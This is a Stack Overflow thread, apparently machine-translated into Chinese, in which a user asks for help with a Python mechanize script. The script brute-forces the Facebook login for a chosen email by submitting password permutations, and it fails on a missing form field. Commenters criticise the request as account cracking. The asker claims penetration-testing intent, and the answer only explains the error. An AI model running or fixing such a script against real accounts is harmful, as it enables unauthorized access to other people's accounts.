2015-06-30 100 views
-9

我试图用python脚本强制Facebook登录页面,但是每当我运行代码时,我会得到下面的错误。我的代码是:蛮力脚本蟒蛇和机械化

br = mechanize.Browser() 
br.set_handle_equiv(True) 
br.set_handle_redirect(True) 
br.set_handle_referer(True) 
br.set_handle_robots(False) 
br.addheaders = [('User-agent', 'Firefox')] 
print "enter target email" 
email = raw_input('>>>') 
print "continue at your own risk, im not responible for what you do..." 
print "would you like to continue" 
contnue = raw_input('y/n:') 

if contnue == 'y': 
    combos = itertools.permutations("i3^4hUP-",8) 
    br.open("http://www.facebook.com/login/") 
    for x in combos: 
     br.select_form(nr = 0) 
     br.form['email'] = email 
     br.form['password'] = ''.join(x) 
     print "Checking ",br.form['password'] 
     response=br.submit() 
     if response.geturl()=="http://www.example.com/redirected_to_url": 
      #url to which the page is redirected after login 
      print "Correct password is ",''.join(x) 
      break 

该脚本使用机械化模块试图强制默认的Facebook登录页面。

为我的错误堆栈跟踪为:

File "passripper.py", line 83, in <module> 
    br.form['password'] = ''.join(x) 
    File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 2780, in __setitem__ 
    control = self.find_control(name) 
    File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 3101, in find_control 
    return self._find_control(name, type, kind, id, label, predicate, nr) 
    File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 3185, in _find_control 
    raise ControlNotFoundError("no control matching "+description) 
mechanize._form.ControlNotFoundError: no control matching name 'password' 

有人可以请解释一下什么是错误讯息是什么意思?

+3

所以你试图“破解”Facebook并公开搜索代码帮助?聪明的举动认为,Facebook的工程师也在监控这里的问题所以... – Tobi

+1

我投票结束这个问题作为题外话,因为它要求帮助破解帐户。 – CBroe

+1

该工具仅用于渗透测试目的,并且我不试图破解anybodies帐户,像专业渗透测试人员和像我这样的人一直在创建类似这样的工具。他们有助于保持数字世界的安全,而公司(如Facebook)则一直雇用他们来帮助保护这些坏人。所以有人可能会给黑客一点点尊重真正意义的东西,并帮助我完成这个项目,我不认为它比像Metaploit,Hydra或Goohost这样的工具更值得尊重,它们几乎相同事情。 –

回答

2

你的错误消息:

mechanize._form.ControlNotFoundError: no control matching name 'password'

尝试阅读它。然后看看你正在编码的页面。该表单上没有名称为“密码”的表单域。

+0

这个答案错在哪里? – TZHX

+0

这不是_wrong_,它只是_not useful_。你可能会说同样的评论;发布这个答案有可能防止这个垃圾问题被roomba自动删除。 – l4mpi

+1

@ l4mpi我*在评论中说了同样的话。但之前我已经这样做了,人们发表了与我在评论中所说的相同的答案,并获得了10个或更多的赞扬。这种行为非常不一致,很难判断。 – TZHX